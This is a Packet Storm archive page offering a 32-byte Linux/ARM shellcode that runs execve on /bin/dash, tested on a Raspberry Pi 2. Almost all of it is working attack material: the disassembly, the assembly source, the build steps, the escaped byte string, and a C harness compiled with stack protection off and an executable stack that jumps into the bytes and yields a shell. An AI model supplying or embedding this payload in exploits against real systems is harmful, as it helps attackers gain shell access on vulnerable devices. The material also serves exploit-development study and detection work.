exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/ARM execve /bin/dash Shellcode

Linux/ARM execve /bin/dash Shellcode
Posted Jun 16, 2020
Authored by Anurag Srivastava

32 bytes small Linux/ARM execve /bin/dash shellcode.

tags | shellcode
systems | linux
SHA-256 | fabc3a831bff99d6730f97c3240cc21f6d5c4711bd6f1b6ab992f145a704413d

Linux/ARM execve /bin/dash Shellcode

Change Mirror Download
# Title:  Linux/ARM - execve /bin/dash Shellcode (32 bytes)
# Date: 2020-06-08
# Category: Shellcode
# Tested: armv7l (32-bit)(Raspberry Pi 2 Model B) (OS: Raspbian Buster Lite)
# Author: Anurag Srivastava
# Description: execve shellcode

/*
## Objdump

pi@raspberrypi:~/hex $ objdump -d ed1

ed1: file format elf32-littlearm


Disassembly of section .text:

00010054 <_start>:
10054: e28f3001 add r3, pc, #1
10058: e12fff13 bx r3
1005c: a002 add r0, pc, #8 ; (adr r0, 10068 <_start+0x14>)
1005e: 1a49 subs r1, r1, r1
10060: 1c0a adds r2, r1, #0
10062: 7242 strb r2, [r0, #9]
10064: 270b movs r7, #11
10066: df01 svc 1
10068: 6e69622f .word 0x6e69622f
1006c: 7361642f .word 0x7361642f
10070: 46c05968 .word 0x46c05968
pi@raspberrypi:~/hex $ nano ed1.s

##code

pi@raspberrypi:~/hex $ cat ed1.s
.section .text
.global _start

_start:
.ARM
add r3, pc, #1
bx r3

.THUMB
add r0, pc, #8
sub r1, r1, r1
mov r2, r1
strb r2, [r0, #9]
mov r7, #11
svc #1

.ascii "/bin/dashY"

pi@raspberrypi:~/hex $ as ed1.s -o ex.o
pi@raspberrypi:~/hex $ ld -N ex.o -o exdash
pi@raspberrypi:~/hex $ objcopy -O binary exdash exdash.bin
pi@raspberrypi:~/hex $ hexdump -v -e '"\\""x" 1/1 "%02x" ""' exdash.bin
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x1a\x0a\x1c\x42\x72\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x64\x61\x73\x68\x59\xc0\x46


## Steps to compile given shellcode C program file
pi@raspberrypi:~ gcc -fno-stack-protector -z execstack tada.c -o tada
pi@raspberrypi:~/hex $ ./tada
Shellcode Length: 32
$ whoami
pi
$ exit

*/


#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x1a\x0a\x1c\x42\x72\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x64\x61\x73\x68\x59\xc0\x46";
main(){

printf("Shellcode Length: %d\n", (int)strlen(shellcode));
int (*ret)() = (int(*)())shellcode;

ret();
}
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close